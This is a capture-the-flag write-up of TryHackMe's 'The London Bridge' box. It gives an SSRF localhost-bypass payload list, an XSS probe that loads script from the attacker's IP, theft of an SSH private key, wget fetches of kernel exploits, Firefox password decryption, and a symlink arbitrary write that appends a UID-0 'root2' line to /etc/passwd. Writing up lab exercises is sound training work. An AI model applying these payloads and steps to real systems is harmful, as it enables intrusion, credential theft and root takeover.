# The London Bridge

{% embed url="<https://tryhackme.com/r/room/thelondonbridge>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

In the challenge The London Bridge we started with an Nmap scan which revealed SSH and a web server running on port 8080. We continued with a directory scan and manual inspection of the website. Initially we attempted attacks such as XSS and SSTI on a contact page and file upload bypasses on the upload page, but were met with working countermeasures. However, by discovering a hidden directory and fuzzing parameters, we find and exploit an SSRF vulnerability to access internal services. From there, we use local file access to compromise the system and then escalate our privileges on the machine using a kernel exploit. Along the way, we demonstrate in this writeup multiple paths to root, including an unintended method, while also harvesting user passwords from Firefox profile data.

## Recon

We start with an Nmap scan and find two open ports. Port `22` on which SSH is running and a web server on port `8080`.

<figure><img src="/files/CQxORHTW4FC42uRuK4KC" alt=""><figcaption></figcaption></figure>

We first set up a directory scan to enumerate all the directories as we check the site manually. From our initial scan, we find nothing out of the ordinary except for a contact form page and an upload page. Everything we would find if we visited the site.

{% code overflow="wrap" %}

```
feroxbuster -u 'http://thelondonbridge.thm:8080' -w /usr/share/wordlists/dirb/big.txt
```

{% endcode %}

<figure><img src="/files/ORYWpdIXkj92L4MtQjR0" alt=""><figcaption></figcaption></figure>

We are greeted with a welcome page on the index page. Other than that, we find nothing unusual in the source.

<figure><img src="/files/R0LA0SuUsApr4bdpSO6k" alt=""><figcaption></figcaption></figure>

In the gallery, next to the pictures of the London Bridge, there is an upload form. This could be interesting.

<figure><img src="/files/06ZcWs25vRaYf96Or5Wk" alt=""><figcaption></figcaption></figure>

## Foothold

We carry on and try to use the sites we have found to get a foothold on the machine.

Below we show every single attempt, including those that were unsuccessful. If you want to skip this, you can jump directly to `Discover The Hidden Directory`.

### Contact Us

We have a contact form on the page `/contact`. We insert the following payloads into this to check for XSS, for a potential session hijack, even though we did not find anything like a login page from our first scan. We set up a Python web server and hope to connect to it if a user opens our contact request. Using the different directories in our payload we could determine which field was vulnerable.

```
<script src="http://10.8.211.1/name"></script>
```

<figure><img src="/files/wSX4dTJkl3k4ymb1b7r0" alt=""><figcaption></figcaption></figure>

Unfortunately, we do not receive any feedback. However, we can see that the contents of the `name` field are being reflected. And we can see in the source that sanitising is taking place.

<figure><img src="/files/9IM2qsaBKFwH522IAf5a" alt=""><figcaption></figcaption></figure>

Since the name is reflected, let's try again with a simple Server Side Template Injection (SSTI) payload.

<figure><img src="/files/c2VN4pxLJarle2BMMwX5" alt=""><figcaption></figcaption></figure>

But to no avail. Let's move on to the next page.

<figure><img src="/files/YwXD0U0aKdR2c0IZboXC" alt=""><figcaption></figcaption></figure>

### Upload

As mentioned above, there is an upload form on the gallery page. Perhaps this could be exploited to upload malicious images that could enable a web shell or XXE via SVGs.

<figure><img src="/files/2YejHCWb9LaOmXSEWm8t" alt=""><figcaption></figcaption></figure>

In the source we find a clue that could be related to the clue in the room description.

<figure><img src="/files/ojIVD31LqNJs4lKzFEBQ" alt=""><figcaption></figcaption></figure>

We examine the request to upload an image and try several exploits like a file upload bypass without success. Fuzzing other parameters does not reveal anything.

<figure><img src="/files/QGNWYzgEhE7TmQbYCd1s" alt=""><figcaption></figcaption></figure>

### Discover The Hidden Directory

Let's start again, we may not have found all the directories. This time we choose a larger wordlist. The `directory-list-lowercase-2.3-medium.txt`. And we find what we are looking for. We had not seen `/dejaview` before.

```
feroxbuster -u 'http://thelondonbridge.thm:8080' -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
```

<figure><img src="/files/jaacEwOHo9E5RhcboQEG" alt=""><figcaption></figcaption></figure>

Here, we seem to be able to enter URLs to load images. This literally asks for Server Side Request Forgery (SSRF).

<figure><img src="/files/csfT71GGaMmK7WP3BAjp" alt=""><figcaption></figcaption></figure>

We intercept a sample query of an existing image from the Gallery using Burp Suite...

<figure><img src="/files/Ku14j2P7MmfLLef6z2yW" alt=""><figcaption></figcaption></figure>

... and see that the image is loaded.

<figure><img src="/files/grYfzLvwlhmXim4ycRZ0" alt=""><figcaption></figcaption></figure>

We now try using the localhost address and port of the server we know, but get no content. SSRF does not seem to work for this parameter.

<figure><img src="/files/g7MJaUyAIcErVTNGikjc" alt=""><figcaption></figcaption></figure>

Recalling the hint of the room and the source of the `/gallery` page, we might need to fuzz for other parameters.

{% code overflow="wrap" %}

```
Check for other parameters that may been left over during the development phase. If one list doesn't work, try another common one.
```

{% endcode %}

```
view-source:http://thelondonbridge.thm:8080/gallery
```

<figure><img src="/files/A11PuvDlR3gzEkHfoklV" alt=""><figcaption></figcaption></figure>

### Explore Hidden Parameters

We use FuFF to find the parameter. Alternatively, you could [Arjun](https://github.com/s0md3v/Arjun). But FFUF is quite sufficient here. Unfortunately, we were not successful with our first wordist: we cannot find another parameter.

{% code overflow="wrap" %}

```
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -X POST -u 'http://thelondonbridge.thm:8080/view_image' -H 'Content-Type: application/x-www-form-urlencoded' -d 'FUZZ=/uploads/04.jpg' -fw 226
```

{% endcode %}

<figure><img src="/files/XHzufnt5bO8SYW7x9feD" alt=""><figcaption></figcaption></figure>

Again, we use the wordlist that we have already had success with. And we find the parameter `www`.&#x20;

{% code overflow="wrap" %}

```
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -X POST -u 'http://thelondonbridge.thm:8080/view_image' -H 'Content-Type: application/x-www-form-urlencoded' -d 'FUZZ=/uploads/04.jpg' -fw 226 
```

{% endcode %}

<figure><img src="/files/fYiFTpPUop7Yf1vFDwHw" alt=""><figcaption></figcaption></figure>

### Discover An SSRF

We immediately check for SSRF, set up a web server and test to see if a connection is possible.

<figure><img src="/files/QhDJhvuUt7TwrOqmcgyz" alt=""><figcaption></figcaption></figure>

Lo and behold, we see the contents of our directory.

<figure><img src="/files/PHRSaWICDqyypZBbHCEY" alt=""><figcaption></figcaption></figure>

### Enumerate Internal Services

We will now look at what we can do with the parameter. And we want to start by identifying the different responses that are triggered by different selected inputs. That way we can see if we are going in the right direction.

If no url is given, we get an internal server error.

<figure><img src="/files/hdtigRd7u9Z0BGNJQrkJ" alt=""><figcaption></figcaption></figure>

If we enter the localhost address `127.0.0.1`, we receive a message that we do not have the authorization for access. That is interesting.

<figure><img src="/files/VmGsGNAoudKJFSZK5ogu" alt=""><figcaption></figcaption></figure>

The same applies to the localhost address with the service `8080` known to us.

<figure><img src="/files/iRM52gwH8g8tzIwCgV7M" alt=""><figcaption></figcaption></figure>

There seems to be a filter in place that filters requests for `127.0.0.1`. There are different representations of localhost to bypass a filter like that. As we saw at the beginning, we are allowed to access other resources or urls that are not localhost. We will use the following source to find a way around the filter.

{% embed url="<https://highon.coffee/blog/ssrf-cheat-sheet/>" %}

Since these payloads are provided for port `80`, but we only know that `8080` is actually a running service, we modify the list and provide it here:

```
127.0.0.1:8080
127.0.0.1:443
127.0.0.1:22
127.1:8080
0
0.0.0.0:8080
localhost:8080
[::]:8080/
[::]:25/ SMTP
[::]:3128/ Squid
[0000::1]:8080/
[0:0:0:0:0:ffff:127.0.0.1]/thefile
①②⑦.⓪.⓪.⓪
127.127.127.127
127.0.1.3
127.0.0.0
2130706433/
017700000001
3232235521/
3232235777/
0x7f000001/
0xc0a80014/
{domain}@127.0.0.1
127.0.0.1#{domain}
{domain}.127.0.0.1
127.0.0.1/{domain}
127.0.0.1/?d={domain}
{domain}@127.0.0.1
127.0.0.1#{domain}
{domain}.127.0.0.1
127.0.0.1/{domain}
127.0.0.1/?d={domain}
{domain}@localhost
localhost#{domain}
{domain}.localhost
localhost/{domain}
localhost/?d={domain}
127.0.0.1%00{domain}
127.0.0.1?{domain}
127.0.0.1///{domain}
127.0.0.1%00{domain}
127.0.0.1?{domain}
127.0.0.1///{domain}st:+11211aaa
st:00011211aaaa
0/
127.1
127.0.1
1.1.1.1 &@2.2.2.2# @3.3.3.3/
127.1.1.1:8080\@127.2.2.2:8080/
127.1.1.1:8080\@@127.2.2.2:8080/
127.1.1.1:8080:\@@127.2.2.2:8080/
127.1.1.1:8080#\@127.2.2.2:8080/
```

Next, we fuzz for the possible representations and find a several that works.

{% code overflow="wrap" %}

```
ffuf -w bypass-localhost.txt -X POST -u 'http://thelondonbridge.thm:8080/view_image' -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://FUZZ' -fw 27
```

{% endcode %}

<figure><img src="/files/utMmBRzETCoCBgsxFl8V" alt=""><figcaption></figcaption></figure>

For now, we will use the `127.1:8080/` representation.

Now we try to enumerate all internal open ports with the localhost representation `127.1`. Another service runs on port `80`.

```
seq 65365 > ports.txt
```

{% code overflow="wrap" %}

```
ffuf -w ports.txt -X POST -u 'http://thelondonbridge.thm:8080/view_image' -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://127.1:FUZZ' -fw 37
```

{% endcode %}

<figure><img src="/files/F4tBVw53b5voGWPkpupe" alt=""><figcaption></figcaption></figure>

When we access this page using the SSRF, we get a different index page.

<figure><img src="/files/KmOHrUKM00AxJ0q2jJfs" alt=""><figcaption></figcaption></figure>

### Lift The Curtain, Reveal The Sources

Next, we enumerate all the possible directories on port 80 and initially find three. These are `templates`, `uploads` and `static`.

{% code overflow="wrap" %}

```
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -X POST -u 'http://thelondonbridge.thm:8080/view_image' -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://127.1:80/FUZZ' -fw 96 -ic
```

{% endcode %}

<figure><img src="/files/ibRTNN81r63j0QKClLtb" alt=""><figcaption></figcaption></figure>

`Templates` shows that SSTI might be possible here. This is probably the template for the `gallery` page. The original idea was to create a file that has an SSTI payload in its filename and then be uploaded to the gallery. The file, as well its name is shown on the page. After some time, it turned out that there was a strong sanitisation mechanism in place that prevented this. Unfortunately, SSTI is not possible. But it would certainly be a more interesting attack vector than the one we are about to find next. But up to this point, the machine is already very good.

<figure><img src="/files/aZVigmc0FdgtU3PAcFYD" alt=""><figcaption></figcaption></figure>

### Explore The Directories Again

What the machine teaches us is not always to trust our first scan result. We scan for further directories. This time with a different wordlist. At this point a shout out to jaxafed for the sanity check at this point. Thank you very much!

With the new wordllist in use, we continue to find ‘directories’. It seems as if we are in a home directory. We also see an `.ssh` folder.

This was the slightly disappointing part of the challenge, I really would have liked the SSTI. Although experienced pentesters and bug bounty hunters might have skipped the enumeration path and would be successful by manipulating the filename in the fileupload form first. But even that could have been avoided with something not directly enumerable that instead could be found using SSRF. Nevertheless, a really nice exploit chain so far.

<figure><img src="/files/mSrHOyh834AJCcXpcq1h" alt=""><figcaption></figcaption></figure>

We look at the contents of the `.ssh` folder and find the `auhtorized_key` file and even a private key `id_rsa`.

<figure><img src="/files/5XA8wNoGZKvAG9H8uE29" alt=""><figcaption></figcaption></figure>

We request the `authorized_key` file to determine the possible user. It is `beth`.

<figure><img src="/files/K2krcS2mVnrP8rqi9uCQ" alt=""><figcaption></figcaption></figure>

Next, we request the `id_rsa` and copy its content.

<figure><img src="/files/d8Pdbpn5WTJR6Uvwvswy" alt=""><figcaption></figcaption></figure>

### Shell As Beth

We copy the content of the private key to our machine and adjust the permissions of our `id_rsa` file. We then use the key to gain access to the machine via SSH as `beth`. At first glance, we can't find the first flag. We find another user `charles` in `/etc/passwd` and are afraid that we will have to extend our privileges to this user. But this is not the case.

<figure><img src="/files/0fkB5JOPXP7RQLwJOjY3" alt=""><figcaption></figcaption></figure>

We search for `user.txt` and are able to locate it at `/home/beth/__pycache__/user.txt`. A not so common location.

```
find / -type f -name 'user.txt' 2>/dev/null
```

<figure><img src="/files/4LB9MkikGsWzhX0hNCwE" alt=""><figcaption></figcaption></figure>

## Shell As Root

With the user `beth` we now run the enumeration script LinPeas and even find some vectors that could be used. The service of the app on port `8080` calls things from the home directory of `beth`. If we had the authorization to restart the service, we would actually be able escalate our privileges, as the service runs in the context of `root`. Unfortunately this is not the case. We also cannot find a password for `beth`, nor can we brute-force it to see what privileges we might have with `sudo`.

<figure><img src="/files/mXU6erL7QU0U5L0q40jT" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/64Q3duDMqQJgxR1TyQaV" alt=""><figcaption></figcaption></figure>

### Initial Approach

There was a picture in `/uploads`  (not in `/home/beth/uploads`) that gave me the idea, just as an aside. After really many attempts, the question came to me. Why the room got its name.

<figure><img src="/files/U560DOCj8e8YaC7XYfoV" alt=""><figcaption></figcaption></figure>

And there it struck me, so this is just an assumption. But metaphorically speaking, the kernel is the bridge between the hardware and the software. So the intended or somewhat intended way is a kernel exploit. Something we are not that used to at challenge machines on TryHackMe.

<figure><img src="/files/L5MdnqBEqDpNePBdk0ha" alt=""><figcaption><p><a href="https://medium.com/@marufrigan9/cracking-liprivilege-escalation-a-guide-to-kernel-exploitation-bda4f091fe45">https://medium.com/@marufrigan9/cracking-liprivilege-escalation-a-guide-to-kernel-exploitation-bda4f091fe45</a></p></figcaption></figure>

So from our LinPeas scan, we already have a suggestion. But the exploit initially tried here did not fully work.&#x20;

<figure><img src="/files/xLzIwRodO2OuuebSH9MA" alt=""><figcaption></figcaption></figure>

Let's pursue this systematically and not rely entirely on linpeas. Using `uname -a`, we output all the necessary information to find a suitable kernel exploit. We have a linux kernel `4.5.0-122` and we are running Ubuntu.

<figure><img src="/files/LsCxSIBr7HRKuON9cn2l" alt=""><figcaption></figcaption></figure>

Next, we google for a specific exploit and actually find one.

```
google kernel exploit 4.15.0-112
```

<figure><img src="/files/U9iIQePzarxlp53FJvP9" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/Nassim-Asrir/ZDI-24-020/blob/main/exploit.c>" %}

Checking the search result, it seems to fit our target. At least the version.

<figure><img src="/files/PFPUEi3ANzaW5DZa3Fap" alt=""><figcaption></figcaption></figure>

We clone the repository and serve the content using a Python web server.

<figure><img src="/files/tTi2RnZ1bhRN3Jownv10" alt=""><figcaption></figcaption></figure>

Next, we get all the contents of the cloned repository on the target machine to compile it there.

```
wget -r http://10.8.211.1/ZDI-24-020
```

<figure><img src="/files/MbOz0dF7O4PeuDfac8uv" alt=""><figcaption></figcaption></figure>

Now all we need to do is call make to compile it properly.

<figure><img src="/files/cekZlI0P59V3JL1s5txD" alt=""><figcaption></figcaption></figure>

After running the exploit, we are `root` and have access to the root flag at `/root/.root.txt`.

<figure><img src="/files/XQaL6LpxCA63b0gMT3ST" alt=""><figcaption></figcaption></figure>

### Authors Intentional Approach

The authors' approach was to show that, although often overlooked in SUID permissions, an improperly configured D-Bus service can pose a significant security risk, highlighting the need for careful consideration in system configuration. From our LinPeas scan we get the following suggestion:

<figure><img src="/files/KVwvIlIf0eGSKV2sXyZ2" alt=""><figcaption></figcaption></figure>

This was an attempt made before the initial approach which did not yield to anything fruitful.

<figure><img src="/files/HAGM0lySa8PiZ5rr3obt" alt=""><figcaption></figcaption></figure>

By looking for some SUID binaries, we see the `/usr/lib/dbus-1.0/dbus-daemon-launch-helper`.

<figure><img src="/files/1vBfVhDWtGOU4JcSxH5L" alt=""><figcaption></figcaption></figure>

We find the exploit fitting our kernel version at the following repository:

{% embed url="<https://github.com/scheatkode/CVE-2018-18955>" %}

We clone the repository and make it available using a Python web server.

<figure><img src="/files/N5uu9KwVIHneAEqQ2yDV" alt=""><figcaption></figcaption></figure>

On the target machine we download the clone repository recursively using `wget`.

<figure><img src="/files/et0M6Aw51a4adDyVbWou" alt=""><figcaption></figcaption></figure>

Finally, we just need to add execute permissions to `exploit.dbus.sh` and run it. After a successful execution, we are `root`.

<figure><img src="/files/ubQmu615z2qxi2Bh42yI" alt=""><figcaption></figcaption></figure>

## Charles Password

For charles password we probably need to be the user `root`. There was no path to escalate from `beth` to `charles`. In the home directory of charles we find an mozilla folder.

<figure><img src="/files/f0NI2vOkKMTvGEVKcrzv" alt=""><figcaption></figcaption></figure>

Maybe there is a Firefox profile with a few passwords hidden in it. We can find out how to extract these in the following writeup. Essentially, we only need the files `key4.db` and `logins.json`. But for the showcased script to work, we seem to need the whole profile.

{% embed url="<https://medium.com/@s12deff/steal-firefox-passwords-from-windows-linux-9d9a87906c7d>" %}

We dig down to the profile folder and set up a Python web server.

<figure><img src="/files/pAwI9xGyRyTuyvMS31wg" alt=""><figcaption></figcaption></figure>

Next, we recursively download the profile data to our machine.

```
wget -r http://thelondonbridge.thm:9000/8k3bf3zp.charles
```

<figure><img src="/files/HLqGlDkTMexcPSki6KmK" alt=""><figcaption></figcaption></figure>

Then we get the script.

{% embed url="<https://github.com/unode/firefox_decrypt>" %}

We select this and specify the profile folder. After execution, we receive the credentials for the page `https://buckinghampalace.com`. That password is also the answer to the final question of the challenge.

```
python3 firefox_decrypt.py ../thelondonbridge.thm:9000/8k3bf3zp.charles 
```

<figure><img src="/files/HwTs9VFAbtJpe2VOKGNK" alt=""><figcaption></figcaption></figure>

## Interesting Uninteded Solution

In addition to the two ways of obtaining a root shell shown above, there is another way to solve this challenge. This was the original discovery of **Jaxafed**. Shout out to Jaxafed for sharing this way. Don't forget to check out his great writeups:<br>

{% embed url="<https://jaxafed.github.io/>" %}

**Don't miss Jaxafed's detailed explanation of how to leverage this arbritrary file read to obtain a root shell:**

{% embed url="<https://jaxafed.github.io/posts/tryhackme-the_london_bridge/#unintended-root>" %}

### Root Flag

We are now on the system using a shell as `beth`. Our Linpeas scan also shows the following:\
The web server that we reach on port `8080` is running in the context of `root`. How can we utilise this? Let's take a closer look at the `app`.

<figure><img src="/files/Xn3XnFVN0OBjZtnYBwtF" alt=""><figcaption></figcaption></figure>

This defines an upload folder, which is the one in `beth`'s home directory.

<figure><img src="/files/pIWLBOHrmOc8ofuJ85Uv" alt=""><figcaption></figcaption></figure>

This folder is used in the gallery. We remember our insights from `http://127.1:80/templates`. It is used here. More precisely, it is the `/home/beth/templates/index.html` template.&#x20;

<figure><img src="/files/Z6IEOrwEq5hkBukzD60l" alt=""><figcaption></figcaption></figure>

In the template we see that every file from the folder is included and displayed.

<figure><img src="/files/W7GxWPoPtNhhEPwU3vOT" alt=""><figcaption></figcaption></figure>

Furthermore, we have full control over this folder. The idea now is that we let the `app` use other folders instead of the `uploads` folder in the home directory. The `app` itself only looks for a file called `uploads`. So we can use a symlink that has the name `uploads` and points to any folder we want to read.

<figure><img src="/files/1Fd3yWAXGWQbkm1tWIwz" alt=""><figcaption></figcaption></figure>

Let's create a symlink to `/root`.

```
mv uploads/ uploadsx
ln -sf /root uploads
```

<figure><img src="/files/Q6rfTuk4D0DXQvX6doWp" alt=""><figcaption></figcaption></figure>

Reloading the gallery page now gives us the content of the `/root` folder.

<figure><img src="/files/Hvqa22CfteuHBVihpyYn" alt=""><figcaption></figcaption></figure>

Inspecting the source of the gallery gives us the links to access those files.

<figure><img src="/files/9vkfxvsk3hQzHWN0eOSQ" alt=""><figcaption></figcaption></figure>

And we are able to retrieve the `.root.txt` flag.

<figure><img src="/files/nfo6mKZs3TTBH8GR0dZG" alt=""><figcaption></figcaption></figure>

### Charles Password

We can also solve charles Password's task in this way. We keep creating symlinks to slowly work our way through the folder structure.

<figure><img src="/files/qrGpiEJVAmv6j0eq5vOC" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Vl9iTmZEaileEigPHf0b" alt=""><figcaption></figcaption></figure>

From `/home/charles` to `/home/charles/.mozilla`.

<figure><img src="/files/16R2WW6YEFOeBSYftEeQ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/uuJopggQ0yyvqRYfHRdY" alt=""><figcaption></figcaption></figure>

From `/home/charles/.mozilla` to `/home/charles/.mozilla/firefox`.

<figure><img src="/files/nIhxvCUpkR9sZpusVvqo" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/nTLeqPxUreeiazUrpuxA" alt=""><figcaption></figcaption></figure>

Until we finally reach its profile: `./home/charles/.mozilla/firefox/8k3bf3zp.charles`.

<figure><img src="/files/jikuSGIM1mE9CqPT9Lnd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/BHLwdmMD0zVdGz3rUkbB" alt=""><figcaption></figcaption></figure>

To download the file we inspect the source of the `/gallery` page, copy its contents and let chatGPT do the work of creating us a wget request to download each part of the profile.

```
wget http://thelondonbridge.thm:8080/uploads/storage-sync-v2.sqlite \
     http://thelondonbridge.thm:8080/uploads/safebrowsing \
     http://thelondonbridge.thm:8080/uploads/extensions.json \
     http://thelondonbridge.thm:8080/uploads/extension-store \
     http://thelondonbridge.thm:8080/uploads/sessionstore-backups \
     http://thelondonbridge.thm:8080/uploads/logins-backup.json \
     http://thelondonbridge.thm:8080/uploads/containers.json \
     http://thelondonbridge.thm:8080/uploads/sessionstore.jsonlz4 \
     http://thelondonbridge.thm:8080/uploads/storage \
     http://thelondonbridge.thm:8080/uploads/prefs.js \
     http://thelondonbridge.thm:8080/uploads/datareporting \
     http://thelondonbridge.thm:8080/uploads/settings \
     http://thelondonbridge.thm:8080/uploads/key4.db \
     http://thelondonbridge.thm:8080/uploads/storage.sqlite \
     http://thelondonbridge.thm:8080/uploads/lock \
     http://thelondonbridge.thm:8080/uploads/bookmarkbackups \
     http://thelondonbridge.thm:8080/uploads/places.sqlite \
     http://thelondonbridge.thm:8080/uploads/sessionCheckpoints.json \
     http://thelondonbridge.thm:8080/uploads/pkcs11.txt \
     http://thelondonbridge.thm:8080/uploads/crashes \
     http://thelondonbridge.thm:8080/uploads/minidumps \
     http://thelondonbridge.thm:8080/uploads/extension-preferences.json \
     http://thelondonbridge.thm:8080/uploads/logins.json \
     http://thelondonbridge.thm:8080/uploads/xulstore.json \
     http://thelondonbridge.thm:8080/uploads/AlternateServices.txt \
     http://thelondonbridge.thm:8080/uploads/cookies.sqlite \
     http://thelondonbridge.thm:8080/uploads/storage-sync-v2.sqlite-wal \
     http://thelondonbridge.thm:8080/uploads/addons.json \
     http://thelondonbridge.thm:8080/uploads/protections.sqlite \
     http://thelondonbridge.thm:8080/uploads/permissions.sqlite \
     http://thelondonbridge.thm:8080/uploads/shield-preference-experiments.json \
     http://thelondonbridge.thm:8080/uploads/search.json.mozlz4 \
     http://thelondonbridge.thm:8080/uploads/formhistory.sqlite \
     http://thelondonbridge.thm:8080/uploads/browser-extension-data \
     http://thelondonbridge.thm:8080/uploads/webappsstore.sqlite \
     http://thelondonbridge.thm:8080/uploads/.parentlock \
     http://thelondonbridge.thm:8080/uploads/storage-sync-v2.sqlite-shm \
     http://thelondonbridge.thm:8080/uploads/gmp-gmpopenh264 \
     http://thelondonbridge.thm:8080/uploads/compatibility.ini \
     http://thelondonbridge.thm:8080/uploads/broadcast-listeners.json \
     http://thelondonbridge.thm:8080/uploads/security_state \
     http://thelondonbridge.thm:8080/uploads/favicons.sqlite \
     http://thelondonbridge.thm:8080/uploads/SiteSecurityServiceState.txt \
     http://thelondonbridge.thm:8080/uploads/times.json \
     http://thelondonbridge.thm:8080/uploads/content-prefs.sqlite \
     http://thelondonbridge.thm:8080/uploads/cert9.db \
     http://thelondonbridge.thm:8080/uploads/cache2 \
     http://thelondonbridge.thm:8080/uploads/addonStartup.json.lz4 \
     http://thelondonbridge.thm:8080/uploads/startupCache \
     http://thelondonbridge.thm:8080/uploads/handlers.json

```

Now we just need to run the script and get the password for `charles`.

<figure><img src="/files/Ug9hrcTfZNDS4vttQhKf" alt=""><figcaption></figcaption></figure>

## Unintended root Shell By Tib3rius&#x20;

Tib3rius has utilised the file upload function in a similar way to Jaxafed. We are able to write to other files outside the upload folder using symlinks. The server runs in the context of `root`, so an arbitrary file write is available. We can write to `/etc/passwd` as `root` and set a new alias for the `root` user with the uid `0` adding a password of our choice. From `03:40:48` you can follow his approach. What follows is a step-by-step guide.

{% embed url="<https://www.youtube.com/watch?v=lnyz_UkBdMU>" %}

The prerequisite is that we already have Beth's private SSH key, and we already have a session.

We capture a request for the file upload. We know, we are only allowed to upload images from the source code.

<figure><img src="/files/5OxE1Pe9FLPciGWbtpMl" alt=""><figcaption></figcaption></figure>

Next, we create a symlink to a testfile outside the `uploads` folder. The symlink is called like the file we upload. So the content gets written to the file it points to.

```
ln -s /home/beth/testfile testfile.png
```

<figure><img src="/files/QWRzMYyU4oiHoIs85me6" alt=""><figcaption></figcaption></figure>

Recalling the source of `app.py`:

{% code title="app.py" overflow="wrap" lineNumbers="true" %}

```python
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

...

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return "No file part"
    file = request.files['file']
    if file.filename == '':
        return "No selected file"
    if file:
        filename = secure_filename(file.filename)
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        file.save(file_path)
        if is_image(file_path):
            return redirect(url_for('gallery'))
        else:
            os.remove(file_path)  # Remove the non-image file
            return "Uploaded file is not an image"
    return "Invalid file"
```

{% endcode %}

Symlinks work to write to files outside the upload folder because the code does not validate or restrict file paths when saving uploaded files. When we upload a file with the name `testfile.png`, the application uses `os.path.join()` to combine the upload directory path `uploads` with the filename `passwd.png`, but if `passwd.png` is a symbolic link, it resolves to the target file `/home/beth/testfile`.  Therefore when the `file.save(file_path)` function is called, it follows the symlink and writes to the linked file instead of a new file in the uploads directory.&#x20;

We now upload an arbitrary image with the filename of the symlink, we can edit this in our request.&#x20;

<figure><img src="/files/lV6huUJRxFLFX1qsYcdu" alt=""><figcaption></figcaption></figure>

And we can confirm that we have written successfully outside `/home/beth/uploads`.

<figure><img src="/files/sVBVLQ92AfNgsDGfLy1W" alt=""><figcaption></figcaption></figure>

Now the idea is to write to the `/etc/passwd`. Adding a new alias for root and replacing the value `x` with a password to be able to change to the root user using that alias and generated password.

&#x20;To generate the password, we need to use openssl on the target machine. We chose the password `password`.

```
openssl passwd -1
```

<figure><img src="/files/LKHDIjM3PiL8qA4rcx1W" alt=""><figcaption></figcaption></figure>

```
$1$l3M7X/NE$nvjQJutCPxqm8.X2iqomY1
```

We confirm that only `root` is allowed to write to the `/etc/passwd` file.

<figure><img src="/files/761b41LOvObE65ZFlCkR" alt=""><figcaption></figcaption></figure>

Next, we copy the contents of the `/etc/passwd` file and add a new line with the alias `root2` and the password hash.

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:109::/run/uuidd:/usr/sbin/nologin
beth:x:1000:1000:Elizabeth,,,:/home/beth:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
charles:x:1001:1001:King Charles,,,:/home/charles:/bin/bash
root2:$1$l3M7X/NE$nvjQJutCPxqm8.X2iqomY1:0:0:root:/root:/bin/bash
```

Now, we add a symlink in `/home/beth/uploads` pointing to `/etc/passwd`.

```
ln -s /etc/passwd passwd.png
```

<figure><img src="/files/y2BkAzVto6GIT4keQ65K" alt=""><figcaption></figcaption></figure>

Next, we use our intercepted request, edit the filename to be `passwd.png`, the name of the symlink and append the new content of the `/etc/passwd` to the image content.

<figure><img src="/files/oskP0UkVdKeyDas4PWni" alt=""><figcaption></figcaption></figure>

After uploading the file we see the fragment and the changes of the upload in `/etc/passwd`.

<figure><img src="/files/e9pCcMBYcHAkjj481I6P" alt=""><figcaption></figcaption></figure>

We are now able to switch to the user `root` using the alias `root2`. We are able to switch to the `root2` user because it has the same UID and GID as the root user (both set to 0), granting it root privileges. The username is just an alias, and the system treats `root2` the same as `root` for permission purposes.

<figure><img src="/files/p6qortATRVail2btngjC" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2024/the-london-bridge.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
